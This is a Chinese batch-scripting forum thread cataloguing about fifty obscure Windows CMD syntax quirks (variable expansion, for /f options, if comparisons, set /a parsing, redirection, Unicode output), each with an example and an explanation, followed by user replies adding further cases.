最后登录
2008-12-13

二级士官

帖子
7
积分
177
技术
0
捐助
0
注册时间
2008-3-11
11楼
发表于 2008-3-20 12:28 | 只看该作者
不错,值得学习,不过排版有点枯燥~
回复 引用

评分 报告 TOP

zpzheng110
  • 发短消息
  • 加为好友

zpzheng110 当前离线

UID
1204
帖子
1
精华
0
积分
167
PB
167
技术
0
捐助
0
阅读权限
20
来自
地球
在线时间
0 小时
注册时间
2008-3-20
最后登录
2008-3-20

二级士官

帖子
1
积分
167
技术
0
捐助
0
注册时间
2008-3-20
12楼
发表于 2008-3-20 13:56 | 只看该作者
好是好，不过大哥,麻烦你分个段,看的眼睛花了
回复 引用

评分 报告 TOP

葱头
  • 发短消息
  • 加为好友

葱头 当前离线

UID
1392
帖子
29
精华
0
积分
206
PB
206
技术
0
捐助
0
阅读权限
20
在线时间
12 小时
注册时间
2008-3-26
最后登录
2008-10-6

三级士官

帖子
29
积分
206
技术
0
捐助
0
注册时间
2008-3-26
13楼
发表于 2008-3-28 19:28 | 只看该作者
先收藏～～～然后回去慢慢看～～～～～～～～～～～～～～～
回复 引用

评分 报告 TOP

中国人民银行
  • 发短消息
  • 加为好友

中国人民银行 当前离线

UID
1478
帖子
2
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-3-29
最后登录
2008-3-30

二级士官

帖子
2
积分
168
技术
0
捐助
0
注册时间
2008-3-29
14楼
发表于 2008-3-29 14:30 | 只看该作者
不知道写的什么东西
回复 引用

评分 报告 TOP

qwqwqw191
  • 发短消息
  • 加为好友

qwqwqw191 当前离线

UID
1509
帖子
1
精华
0
积分
167
PB
167
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-3-30
最后登录
2008-3-30

二级士官

帖子
1
积分
167
技术
0
捐助
0
注册时间
2008-3-30
15楼
发表于 2008-3-30 22:33 | 只看该作者
很久没遇到那么好玩的东西了，长知识就是好，比打游戏爽
回复 引用

评分 报告 TOP

1 2 3 4 5 6 7 8 9 10 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

  • BAT求助&讨论
批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:37, Processed in 0.084809 second(s), 8 queries, Gzip enabled.


[50条]不能说的秘密-CMD命令奇诡语法特性汇集

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT求助&讨论 ? [50条]不能说的秘密-CMD命令奇诡语法特性汇集
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 下一页
返回列表 回复 发帖
qzwqzw
  • 发短消息
  • 加为好友

qzwqzw (活着就是幸福)当前离线

UID
3023
帖子
508
精华
2
积分
1475
PB
1219
技术
82
捐助
0
阅读权限
254
来自
五湖四海，咫尺天涯
在线时间
347 小时
注册时间
2008-7-17
最后登录
2017-5-18

贵宾

帖子
508
积分
1475
技术
82
捐助
0
注册时间
2008-7-17
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2010-4-15 15:01 | 只看该作者

[其他] [50条]不能说的秘密-CMD命令奇诡语法特性汇集

    谨以此文献给我生命中最重要的三个女人，在本文更新期间，是她们给了我很大的物质支持和精神鼓励，支持我最终将此文完成。同时感谢论坛管理层，尤其是批处理之家的namejm，他不仅给我提供了很多线索和建议，同时也在论坛管理上提供了很大的便利和支持。当然，也感谢所有参与讨论并给出建议的朋友们。他们分别是（按发帖时间排序）：
BATHOME：neorobin、hanyeguxing、yangfengoo、x9tiancmd、随风、x9tiancmd、Batcher、lxzzr
CN-DOS：qinchun36

声明：
  • 本帖目前已完成初稿，现向全体会员开放阅读，大家可以选择在线阅读或者制作离线阅读版本；
  • 我将不再主要负责本帖的更新，但仍然希望大家能继续跟帖讨论补充，同时麻烦管理层及时更新本帖；
  • 本文代码的运行环境，凡是未明确声明的，均是在Windows XP SP2的CMD下；
  • 此篇可以看做是 《CMD/DOS下符号的作用参考》 的姊妹篇，两者内容可能会有重叠；
  • 本文作者不希望各位在此发表无内容的回复，如果只是支持可以选择评分，如果只是路过就请不要留下脚印；
  • 本帖在CNDOS与BATHOME同步更新，互为备份，参考链接如下：
        BATHOME： http://bbs.bathome.net/thread-7629-1-1.html
        CNDOS： http://www.cn-dos.net/forum/viewthread.php?tid=50912

示例：
set varname=var1
set var1=value
call echo %varname%=%%%varname%%%
效果：输出var1=value，实现变量的二次扩展
注释：这种二次扩展的办法在纯DOS中比较常用，CMD下在不能使用变量延迟时也可以考虑

示例：cd.>test.txt
效果：产生一个零字节的文件test.txt
注释：零字节文件的创建，其实有更多的办法（具体见参考链接），但这种目前是最简单可靠的。
链接： http://www.cn-dos.net/forum/viewthread.php?tid=22336

示例：
md Test Sample
cd Test Sample
rd Test Sample
效果：md和rd命令正常执行，cd命令报错“系统找不到指定的路径。”
注释：md和rd命令隐含支持多个目录的创建和删除，所以把Test Sample理解成了Test和Sample两个目录，
但cd命令只能是一个目录，而且隐含支持带空格不带引号的路径，所以将Test Sample理解成了一个目录,
三个命令在认识上的不统一，导致了这个问题的出现。
另外，不像command.com，cmd下的md和rd已经都支持多级目录的创建和删除了，这个在官方文档已提到。

示例：
cd.>test.html
dir /b *.htm
copy *.htm *.bak
效果：首先列出test.html文件，随后将其扩展名改为.bak
注释：文件名中有通配符且扩展名有3个字节时，无论其扩展名是否有通配符，都会对扩展名进行通配匹配，
扩展名之后可以添加; , .等特殊字符，不影响通配匹配。
链接： http://www.cn-dos.net/forum/viewthread.php?tid=22336

示例：echo.%var%
效果：如果变量var 为空显示空行，如果不为空则显示其值
注释：echo. 官方文档解释为输出一个空行，用于文本的排版；
但更多的用于防止输出的变量为空时，echo语句出现语法错误；
. 也可以改为, + / : ; [ ] 等特殊字符

示例：
echo 文本1 ^
文本2 ^
文本3
效果：将三段文本合并到一行显示
注释：^ 将随后的行结束符取消转义，所以有其它语言中类似续行符的作用
其它命令中也可以这样使用，甚至可以用它截断命令名、文件名或者参数
只是别在引号对中这样使用

示例：set | findstr "\\\\"
效果：显示set命令输出中有一个\ 的行
注释：findstr中不论有没有开启正则，\ 都是元字符的转义字符，而且""对还会将\ 进行再次转义
链接： http://www.cn-dos.net/forum/viewthread.php?tid=21167

示例：
set/p= <nul>示例文字
findstr /a:f1 . 示例文字?
del 示例文字?
效果：显示白色背景黑色前景的“示例文字”
注释：可以多次利用此方法在一行内显示多种不同前景色和背景色的文字
在没有发现这个用途之前，findstr的开关/a可以说是“蛇足”，它在文档中虽有说明，
但语焉不详，更别说如此奇诡的用途；/a: 后的字符可以根据color /?的说明进行调整
链接： http://groups.google.com/group/alt.msdos.batch.nt/browse_thread/thread/f819acd4582d5de3/
http://www.cn-dos.net/forum/viewthread.php?tid=35622
http://www.cn-dos.net/forum/viewthread.php?tid=38940

示例：
set/p=不含回车换行符的文本行<nul>test.txt
findstr "$" test.txt
type test.txt|findstr "$"
效果：第二句输出任何文本，第三句输出“不含回车换行符的文本行”
注释：findstr的正则与POSIX正则以及其他标准的正则都不太一样，是个简化版的正则。
$ 在这里做为正则表达式元字符，匹配行尾的回车和换行符号，而不是真正的行尾。
而因为测试文本没有回车符和换行符，所以第二句的findstr "$" 匹配失败。
第三句成功匹配是因为CMD 的“后处理”为文本添加了回车换行并通过管道传给了findstr

示例：
echo 我 你 他>test.txt
findstr "我 你 他" test.txt
效果：没有输出任何文本
注释：finstr在匹配多个中文串时存在问题，使用开关/l或者/r可以得到正确的输出。

示例：
echo.>test.txt && attrib +h test.txt
echo.>test2.txt && attrib +s test2.txt
for %%i in (*.txt) do echo %%i
效果：显示结果不包含带有隐藏属性的test.txt，但包含带有系统属性的test2.txt
注释：不带/a开关的dir 是两者都不显示，for 显然对文件属性有自己的认识

示例：
md TestSample & cd TestSample & cd.>"test 1".txt
for %%f in (*.txt) do echo %%~sf
效果：在WindowsXP SP2环境下显示D:\TESTSA~1\TEST1~1.TXTt，多了一个字符t
注释：短名扩展是基于完整长名路径后的。当路径中既有长目录名，又有含空格的短文件名时，
CMD的短名扩展不对原长名路径的长度进行修剪，导致短名路径尾部残留原长名路径的字符。
Windows 2003以上系统无此问题。
链接： http://www.cn-dos.net/forum/viewthread.php?tid=27063

示例：
echo 1 > 1.txt & echo 2 > 2.txt
for %%f in (*.txt) do ren %%f f-%%f
效果：生成两个文件f-2.txt和f-f-1.txt ，1.txt 被改名后再次被改名
注释：在for 语句内使用ren 要谨慎，f-可以改为任意以字母开头的字符串

示例：for /f "delims=" %%i in (test.txt) do echo %%i
效果：显示test.txt的所有行，除了空行
注释：for/f 的文本遍历会遇到空行时，替代变量%%i被赋值为空，不会执行do的语句块。
显示空行文本的折中方案是，使用finstr或者find为文本的所有行包括空行添加一个前缀，
待通过for/f的“防空”保护后，再用set或者tokens把这个前缀去除。如下：

示例：for /f "eol=" %%i in (test.txt) do echo %%i
效果：显示test.txt的文本内容，忽略以起始的行
注释：这个语法之所以称得上“奇诡”，主要是因为官方文档的中文化过程中，
将“an end of line comment character”翻译成了“行尾字符”（ntcmds.chm）
在命令行帮助中则是“行注释字符的结尾”，按字面意义理解都会理解成行尾的字符，
因此误人不浅，实际上应该是“代表行结束的注释字符”，而且这个字符必须在行首。
不指定eol时，for/f缺省使用分号;作为eol，所以会过滤掉文本中以分号起始的行，
而"eol="会将双引号指定为eol，使用"eol= delims="则会将空格指定为eol。
使用示例中的可以近似显示所有的行，因为是一个控制字符，不太可能出现在文本中。

示例：for /l %%i in (2147483635,1,2147483647) do echo %%i
效果：显示两个正数后，将从小到大显示负数，零，正数，负数，依次循环
注释：for /l使用加法，2147483647加一后变为负值，仍然满足循环条件，使之成为无限循环
链接： http://bbs.bathome.net/thread-7659-1-1.html

示例：for /r %f in (.) do @echo %f
效果：分行显示当前目录下所有子目录名，并在行尾添加\.
注释：括号中的句点还可以改为其它不含文件通配符（*,?）的字符或字符串

示例：for /r %f in (test.txt) do @echo.%f
效果：分行显示当前目录下所有子目录名，并在行尾添加\该文件名.当前目录\该文件名
注释：test.txt可以换成不含通配符的其他文件名或者字符串，echo后的.可以换成+、/等特殊字符
链接： http://bbs.bathome.net/viewthread.php?tid=3465&page=1#pid29165

示例：if "〇"=="" echo 〇为空
效果：显示结果为：〇为空
注释：在Windows XP下的936代码页下测试
链接： http://bbs.bathome.net/viewthread.php?tid=7513

示例：if "Z" leq "z" (echo "Z <= z") else echo "Z > z"
效果：显示结果表明Z大于z
注释：if的字符串比较不是按照ASCII或者Unicode码表，而是自有一套规则，详见
链接： http://bbs.bathome.net/thread-6851-1-1.html

示例：
if "e" leq "-" (echo "e <= -") else echo "e > -"
if "ef" leq "-f" (echo "ef <= -f") else echo "ef > -f"
效果：显示结果表明e大于-，而ef小于-f
注释：减号-也可以换成单引号'，它们在if的数值比较语句中充当一种另类的转义字符
链接： http://bbs.bathome.net/thread-6853-1-1.html

示例：if 3 gtr -2147483645 (echo 3＞-2147483645) else (echo 3＜＝-2147483645)
效果：显示结果表明3＜＝-2147483645
注释：if数值比较的核心是减法，依靠对两个数值的减法差值的正负判定大小
而差值变量是32位（DWORD）整型变量，存在-2^31~2^31-1的限定范围
而3- (-2147483645)的差值即超出此限，结果有正转负，判定也由大变小
链接： http://bbs.bathome.net/thread-7659-1-1.html

示例：if defined "test var" (echo pass) else (echo fail)
效果：不管之前有无定义变量test var，显示结果都为fail
注释：if defined判定的变量名包含空格时，不能直接使用 if defined test var echo pass
此时，test被识别为变量名，var被识别为if的执行体语句块，如果存在变量test，则出现语法错；
也不能如示例般使用引号对将变量名引起，否则if defined将引号看作变量名的一部分，执行else块
此时可以使用两个方法使变量名中的空格躲过CMD预处理的词法切分逻辑，详见链接：
1. for %%f in ("test var") do if defined %%~f (echo pass) else (echo fail)
2. set varname=test var&if defined !varname! (echo pass) else (echo fail)
方法2中的!varname!更改为%varname%无效，因为%的变量扩展逻辑在空格的词法切分逻辑之前
而且变量!varname!不能使用!varname:~1,2!的引用形式，因为逗号影响了CMD预处理的词法切分逻辑
链接： http://bbs.bathome.net/viewthread.php?tid=2050

示例：
md testdir&if exist testdir\nul (echo Pass) else (echo Fail)
md "test dir"&if exist "test dir"\nul (echo Pass) else (echo Fail)
效果：第一句显示Pass，第二句显示Fail
注释：if exist通常用于判断一个路径是否存在，它不能直接分辨出目标路径究竟是目录还是文件。
而如示例中所用的 if exist test\nul ...，则是从DOS 起广泛使用的判断目录存在的标准方案。
它借助系统中所存在的aux con nul prn com1 lpt1等标准字符设备名判断目标路径是否指向目录，
因为这些设备没有可以在任意目录下引用，所以“目录路径\nul”这样的引用被系统认为是有效的，
但在CMD下，这种方法不适用于判定带引号的目录，这点与if defined "变量名" 的缺陷类似。
此时，可以使用以下方案：if exist "test dir"\* echo Pass，通配符使

示例：
setlocal enabledelayedexpansion
for /f "delims=" %%a in ('ipconfig^|findstr /i "Address"') do set var=%%a
set CarriageReturn=!var:~-1!
效果：变量CarriageReturn被赋值为一个回车符(0x0d,\r,Cr)
注释：源于 ipconfig 的输出每行行尾都有两个回车符，在被for /f截掉一个后还能剩一个；
引用时需要用变量延迟的形式，否则就会在预处理中被当做行结束符而被过滤掉
链接： http://bbs.bathome.net/viewthread.php?tid=6692

示例：
reg add hkcu /v test /d "测试" /f
reg query hkcu /v test | find "test"
效果：输出的Test键值丢失了一个字，只余“测”
注释：XP SP3以及以上系统的reg query没有此Unicode带来的问题，解决方法见链接
链接： http://www.cn-dos.net/forum/viewthread.php?tid=21365#pid128521
http://www.cn-dos.net/forum/viewthread.php?tid=22202
http://www.cn-dos.net/forum/viewthread.php?tid=27279#pid182590
http://www.bathome.net/viewthread.php?tid=2046

示例：
reg add hkcu\test\"quote\"folder /f
reg query hkcu\test\"quote\"folder
reg delete hkcu\test\"quote\"folder
效果：reg添加、查询和删除的注册表键支都是Test，而不是我们设想的Test"quote"folder
注释：XP SP2的reg在注册表键值出现引号" 时可以使用\ 转义，
比如 reg add hkcu /v test /d "\"value\"" /f
但是这个转义字符不能用在注册表键支中，因为它被视作键支层级的分隔符
解决办法是升级reg.exe 为更高版本系统下的reg.exe 外
链接： http://www.bathome.net/viewthread.php?tid=7004

示例：ren test1.txt *t2*
效果：test1.txt将改名为test1.txt2，而非test2.txt
注释：在ren 的任何文件名参数中均可以使用通配符（* 和 ?）。
如果在 FileName2 中使用通配符，则通配符代表的字符与 FileName1 中的相应字符匹配。
类似于正则表达式中的最远匹配，但只匹配通配符后的一个字符，其余字符都属于替换字符。
另外，如果Filename1 含有通配符，那么在NTFS和FAT32下执行会略有差异，详见以下链接。
链接： http://www.cn-dos.net/forum/viewthread.php?tid=29538

示例：md test1 & ren test1 test2
效果：生成test2目录
注释：cmd的ren命令已经悄悄支持目录的改名了。当然，移动目录仍然需要使用move命令。

示例：set/=value
效果：生成变量/，值为value
注释：set将分隔符识别为变量名的一部分，/可以改为( + , . : ; [ \ ] 等特殊字符

示例：
@echo off
set var=
echo.%errorlevel%
set var=value
echo.%errorlevel%
效果：此段代码保存为test.bat执行后分行显示“1 1”，保存为test.cmd执行后显示“1 0”
注释：第一个数字1表示：set试图删除一个不存在的变量var时发生内部错误，产生errorlevel为1
第二个数字表示：set成功创建变量var后，.cmd文件会重置errorlevel为0，而.bat文件则不会
也就是说，在.cmd文件中，set成功执行后会重置errorlevel为0，而在.bat文件不管errorlevel
链接： http://www.cn-dos.net/forum/viewthread.php?tid=30968&page=3#pid217157

示例：
set test 1=value
set test 2
效果：test 1的名值对
注释：set 识别单纯的变量名时会丢掉最后一个空格的字符串

示例：set "test=value > 3 "
效果：生成一个变量test，值为"value > 3 "（含空格不含引号）
注释：在变量值涉及特殊字符和尾部空格的时候，用引号对将变量名和变量值括起是个好办法
链接： http://www.cn-dos.net/forum/viewthread.php?tid=17785#pid105897

示例：set "
效果：显示所有的环境变量，其中有包括“=::=”、“=C:=”等变量名含有等号的隐含环境变量
注释：可以把双引号换成一个或多个逗号、双引号、分号或者其混合形式，双引号最好成对使用
“=::”、“=C:”等变量其代表当前CMD会话曾访问过的各个驱动盘下的当前目录。
因变量名中包含等号=，正常情况下，set无法对其显示和修改。
也可能会出现变量“=ExitCode=”，代表CMD所调用外部程序的错误返回码（%Errorlevel%）
链接： http://bbs.bathome.net/thread-7696-1-1.html

示例：
set LineFeed=^

效果：变量LineFeed被赋值为一个换行符(0x0a,\n,Lf)
注释：注意set下的两个空行不可少，也就是^后需要三个换行符；
第一个和第三个换行符被当做行结束标志，第二个被^转义成普通字符；
引用时需要用变量延迟的形式，否则就会在预处理中被当做行结束符而被过滤掉
链接： http://bbs.bathome.net/viewthread.php?tid=6692

示例：set/a n=1,n=!n!+7
效果：显示n=7，而不是8
注释：!!对的变量延迟语法是针对语句块内的多条语句的，
而set/a 的逗号表达式是一个语句，而不是语句块，自然不能实现延迟
解决的办法就是让set/a 自己处理: set/a n=1,n=n+7

示例：
set /a var=_abc
set /a var2=1a
效果：第一句会将变量var赋值为0，第二句会报“无效数字”的语法错，且不会对变量var2赋值
注释：第一句set/a将_abc识别为变量名，因找不到对应变量，所以赋值结果为0；
第二句set/a将1a识别为操作数，而它又不是一个合法数值，所以提示语法错误，并置errorlevel为9167。
set/a的判断变量名和操作数的标准类似高级语言：字符串以数字起始是操作数，否则为变量名。
此外，判断一个字符串是否是合法的十进制数值的方法如下：
set /a _var=%var% 2>nul
if "%_var%"=="%var%" echo %var%是合法的十进制数值

示例：set /p test=Text without CrLF(\r\n)<nul
效果：显示一串文本，不含回车换行符
注释：多次使用set /p可以将多串文本输出在一行中，也用在重定向输出过程中

示例：set /p test=<test.txt
效果：将变量test赋值为test.txt的第一行内容
注释：利用了set/p 的重定向输入特性，文本中的回车换行符被cmd理解为语句结束符
因此可以利用这点切分出文本首行，进而在循环中结合findstr切分出文本的每一行。
提示：set/p最多可以获取1024个字节作为变量，而环境变量长度限制为8192字节。

示例：for /l %%i in (1,1,33) do setlocal
效果：显示“已经达到最大的 setlocal 递归层。”
注释：“使用 setlocal 和 endlocal 命令，可以在 Cmd.exe 的实例中（或在脚本中）进一步将更改局部化。
Setlocal 创建局部作用范围，而 endlocal 终止局部作用范围。在 setlocal 和 endlocal 作用范围
内所做的更改将会被放弃，从而保持原始环境不变。这两个命令的嵌套最高可达到 32 级。”
此段描述引用自官方文档（ntcmds.chm::/ntcmds_shelloverview.htm）
setlocal意味着重新复制一份环境变量到新的内存地址，而系统只预留了32份地址空间，
所以环境变量复制份数不能超过32份，也就意味着setlocal的递归次数不能超过32级。
因此，适时使用endlocal回收不再使用的地址空间不仅是严谨的，也是必要的。

示例：subst ~: C:\Windows & ~:
效果：创建虚拟驱动器~，并跳转到该驱动器下
注释：subst 用于创建、显示和删除虚拟驱动器，该驱动器将指向其它真实或虚拟驱动器文件夹的路径，
虚拟驱动器的盘符可以是字母、数字以及一些特殊字符，但非字母的盘符不会出现在subst的显示列表中。

示例：type *.txt *.log
效果：显示当前目录下所有文本文件和日志文件的内容
注释：在COMMAND下type是不支持文件通配符的，在CMD下悄悄的支持了

示例：
cd >nul 3>nul
echo Test1
cd >con 4>con
echo Test2
效果：第一句后不再显示以后命令的输出Test1，第二句后恢复显示以后命令的输出Test2
注释：源于重定向后句柄的备份机制，两句中的第一个NUL和CON可以换成其他文件名或者设备名，详见
链接： http://www.cn-dos.net/forum/viewthread.php?tid=16942
http://bbs.bathome.net/viewthread.php?tid=2579

示例：
(
echo 第一行
echo 第二行
echo 第三行
)> test.txt
效果：将圆括号中的所有echo输出重定向到指定的文件test.txt
注释：语句块的重定向使文件句柄的创建或销毁次数减少，因此可以提升执行效率，书写上也更加简单
链接： http://www.cn-dos.net/forum/viewthread.php?tid=46717

示例：
(echo test)|findstr /c:" "
效果：显示test，findstr认为前面的命令输出含有空格
注释：CMD的预处理在分析语句时，会在)和|这些有特殊意义的转义字符前后插入空格，同时剪除多余的空格。
而当)和|一同出现时，CMD的预处理没有把这些空格从命令行中全部过滤掉，而会遗漏一个空格到echo命令中。
而echo命令则把这个空格连通之前文本一同输出到管道后命令findstr中，所以导致findstr匹配出含空格行。
链接： http://www.bathome.net/viewthread.php?tid=7629&page=3#pid50356
http://www.bathome.net/viewthread.php?tid=1480&page=4#pid28166

示例：
>>test.txt echo 行 1
echo>>test.txt 行 2
echo 行>>test.txt 3
效果：将三行输出分别输出到test.txt中
注释：重定向符号可以出现语句中的很多地方，前提是不影响输入输出的正常语法；
在上面提到语句块的重定向特性出现之前，在纯DOS的环境中行1 的用法更多的被使用，
因为它使输出语句看起来更加整齐，另外在CMD下也可以避免在行尾出现单独的数字时，
这个数字可能与重定向符号被一起理解为某个句柄的重定向，而出现意想不到的输出。

示例：
echo.>time.com
time.com
效果：显示COMMAND中TIME命令的输出，并等待用户输入
注释：time可以换成其它COMMAND支持的内部命令名。
对于.COM和没有PE标记的.EXE，Windows都将其认为16位DOS程序，会自动调用其
16位MS-DOS子系统(NTVDM.EXE)解释执行该程序，如果它与COMMAND的内部命令同名，
则优先调用该命令。

示例：
set var=value
:: %var:*=%
效果：显示错误信息“此时不应有 =%”
注释：::虽然被当作注释符号在使用，但是请别忘记它本质上仍然是批处理标签语句，
cmd在解释执行时也是需要预处理的，虽然只是少量的，但出错也是会提示的。
链接： http://www.cn-dos.net/forum/viewthread.php?tid=40242

示例：
cmd /u /c echo Unicode Text> test.txt & type test.txt
cmd /u /c echo Unicode Text|findstr ".*"
cmd /u /c echo Unicode Text|find /v ""
cmd /u /c echo Unicode Text|more
cmd /u /c echo Unicode Text|sort
效果：前两行命令输出“ n i c o d e T e x t”的文本，三四行命令将逐字分行输出
测试文本，并在尾部附五个空行，第五条命令将显示“Unicode”原文。
注释：cmd /u用于使命令输出或管道中的文本成为Unicode编码，对于纯英文文本，其Unicode
编码只使用一个高字节，另外一个字节以0x00填补。对于此编码各文本命令支持有很多差异。
type命令虽然支持显示Unicode文本，但需要文本前缀包含有Unicode的“FFFE”的BOM标记，
对于cmd /u /c输出的无BOM的Unicode文本将按照ANSI标准输出，字符间的00字节不做转换。
findstr的特性与type类似，但需要注意的是，它将无法处理重定向输入的Unicode文本。
而这段文本通过管道送到more和find命令之后，它们会将0x00理解为行结束而输出一个换行符。
文本后的五个空行，分别是从文本中的回车符、换行符以及它们之间的两个0x00字符转换而来，
最后一个则是CMD 的“后处理”为文本自动添加的。
而sort则会将Unicode文本转换为ANSI文本，所以会显示正确的文本，即使其中不包含BOM标记。

示例：mem
效果：首次在CMD窗口中执行会清空窗口，并显示十一个空行，提示符中的长名路径切换为短名；
第二次执行不会清空窗口，但仍会显示十一个空行；以后执行均只显示一个空行。
如果在CMD的全屏窗口中执行时，则会正常显示输出结果。
注释：mem.exe是16位DOS 程序，在CMD中调用之前会启用Windows的16位MS-DOS子系统(NTVDM/WOW)，
模拟mem.exe程序类似MSDOS的运行环境，因此导致CMD窗口的输入或输出机制均发生较大的变化，
首先这个模拟子系统的键盘布局缺省只支持“美式英语的美式键盘”，而大多定制的中文系统已将
该键盘布局从“文字服务和输入语言”中删除，所以会报“Invalid keyboard code specified”，
并自动切换回该缺省方案。其次，模拟子系统缺省只支持美式英语的代码页（437），而中文系统下
的CMD是简体中文的代码页（936），所以会将CMD的活动代码页切换为437，并切换屏幕显示字体，
因此导致清屏动作，因为以上两个动作是快速发生，所以用户一般不会观察到键盘布局错误的显示。
如果使用mem>c:\mem.txt重定向命令的输出，则会在输出文本的第一行发现该错误信息。
在CONFIG.NT中使用COUNTRY命令可以更改模拟DOS环境的国家代码和字符集代码页。
在AUTOEXEC.NT中使用KB16命令可以更改模拟DOS环境的键盘方案，但不支持中文键盘方案的代码。
链接： http://www.cn-dos.net/forum/viewthread.php?tid=9452

[ 本帖最后由 qzwqzw 于 2010-4-23 19:45 编辑 ]
11

评分人数

    • 老刘1号: 好帖，不得不顶！技术 + 1
    • 尘丶: 赞，帮助很大技术 + 1
    • k_evin: 看了之后受益匪浅，谢谢！技术 + 1
    • mxxcgzxxx: 好贴技术 + 1
    • fastslz: 不看不知道，一看下一跳技术 + 1
收藏 分享
回复 引用

评分 报告

neorobin
  • 发短消息
  • 加为好友

neorobin 当前离线

UID
20015
帖子
675
精华
1
积分
4006
PB
3666
技术
110
捐助
0
阅读权限
254
在线时间
1253 小时
注册时间
2009-11-25
最后登录
2016-5-13

技术组成员

帖子
675
积分
4006
技术
110
捐助
0
注册时间
2009-11-25
2楼
发表于 2010-4-16 14:47 | 只看该作者
补充一个字符串比较中的问题, 关键是比较时对 短横线 - 和 单引号 ' 的处理问题
  1. if "e" leq "-" (echo 小于) else echo 大于
复制代码
显示的是 大于, 表明 字母 e 是大于短横线 - 的
那么, 字符串 "ef" 也应该是大于 "-f" 的, 可是其实不然
  1. if "ef" leq "-f" (echo 小于) else echo 大于
复制代码
显示的却是 小于
上面所述中, 将短横线换作单引号也得到同样结果, 究竟含有 短横线 或 单引号 的字符串在比较时是如何处理的?
我对此问题的分析和猜测请见: http://bbs.bathome.net/thread-6853-1-1.html
1

评分人数

    • qzwqzw: 感谢提线索，已加入技术 + 1 PB + 10
回复 引用

评分 报告 TOP

neorobin
  • 发短消息
  • 加为好友

neorobin 当前离线

UID
20015
帖子
675
精华
1
积分
4006
PB
3666
技术
110
捐助
0
阅读权限
254
在线时间
1253 小时
注册时间
2009-11-25
最后登录
2016-5-13

技术组成员

帖子
675
积分
4006
技术
110
捐助
0
注册时间
2009-11-25
3楼
发表于 2010-4-16 15:57 | 只看该作者
在不考虑 4 楼所述 短横线 单引号 在 if 字符串比较中的问题时, if 字符串比较时, ASCII 字符的大小也不是按 ASCII 字符代码值来排序的, 我也从未找到过相关的官方文档说明, 我对其次序作了一个初步的分析: http://bbs.bathome.net/thread-6851-1-1.html
1

评分人数

    • qzwqzw: 感谢参与，已加入技术 + 1 PB + 30
回复 引用

评分 报告 TOP

hanyeguxing
  • 发短消息
  • 加为好友

hanyeguxing (寒夜孤星)当前离线

UID
14295
帖子
1739
精华
1
积分
4955
PB
4180
技术
255
捐助
0
阅读权限
254
来自
在地狱中仰望天堂
在线时间
1094 小时
注册时间
2009-6-11
最后登录
2012-5-31

荣誉版主

帖子
1739
积分
4955
技术
255
捐助
0
注册时间
2009-6-11
4楼
发表于 2010-4-16 18:13 | 只看该作者
“〇”算不上特殊字符，但在936代码页（默认），xp sp3系统下，if 会认定该字符为空。
http://bbs.bathome.net/viewthrea ... ight=%2Bhanyeguxing
  1. @echo off

  2. if "〇"=="" (echo 〇为空)else echo 〇不为空

  3. if "12〇34"=="1234" (echo 相同)else echo 不同

  4. if 12〇34==1234 (echo 相同)else echo 不同

  5. pause
复制代码
1

评分人数

    • qzwqzw: 谢谢参与，已加入技术 + 1 PB + 30
寒夜孤星：在没有说明的情况下，本人所有代码均运行在 XP SP3 下 （有问题请发贴，QQ临时会话已关闭）
回复 引用

评分 报告 TOP

yangfengoo
  • 发短消息
  • 加为好友

yangfengoo 当前离线

UID
12296
帖子
437
精华
0
积分
1304
PB
1190
技术
38
捐助
0
阅读权限
50
在线时间
656 小时
注册时间
2009-4-26
最后登录
2017-10-28

上尉

帖子
437
积分
1304
技术
38
捐助
0
注册时间
2009-4-26
5楼
发表于 2010-4-16 22:44 | 只看该作者
我也贡献个
  1. M:\世界之窗>echo.g>ttbb.ttbb

  2.

  3. M:\世界之窗>echo.g>ttbb.ttb

  4.

  5. M:\世界之窗>echo.g>ttbb.ttbbb

  6.

  7. M:\世界之窗>dir /b *.ttb

  8. ttbb.ttb

  9. ttbb.ttbb

  10. ttbb.ttbbb
复制代码
由此可见 cmd 识别扩展名只看前三位。扩展名小于等于3位是完全匹配，大于3位只匹配前三位
1

评分人数

    • qzwqzw: 谢谢参与，鼓励一下技术 + 1 PB + 30
回复 引用

评分 报告 TOP

hanyeguxing
  • 发短消息
  • 加为好友

hanyeguxing (寒夜孤星)当前离线

UID
14295
帖子
1739
精华
1
积分
4955
PB
4180
技术
255
捐助
0
阅读权限
254
来自
在地狱中仰望天堂
在线时间
1094 小时
注册时间
2009-6-11
最后登录
2012-5-31

荣誉版主

帖子
1739
积分
4955
技术
255
捐助
0
注册时间
2009-6-11
6楼
发表于 2010-4-17 15:11 | 只看该作者
1，关于变量延迟的特例：
  1. @echo off

  2. set n=1&if defined n echo.定义了变量n，即变量n存在

  3. set/a n+=1,n=n+7

  4. echo.%n%

  5. pause
复制代码
对于 if defined 和 set/a ，不使用%或!括变量，无论是否开了变量延迟，变量本身都会被延迟扩展。如果换成其它写法，就需要开启变量延迟，如：
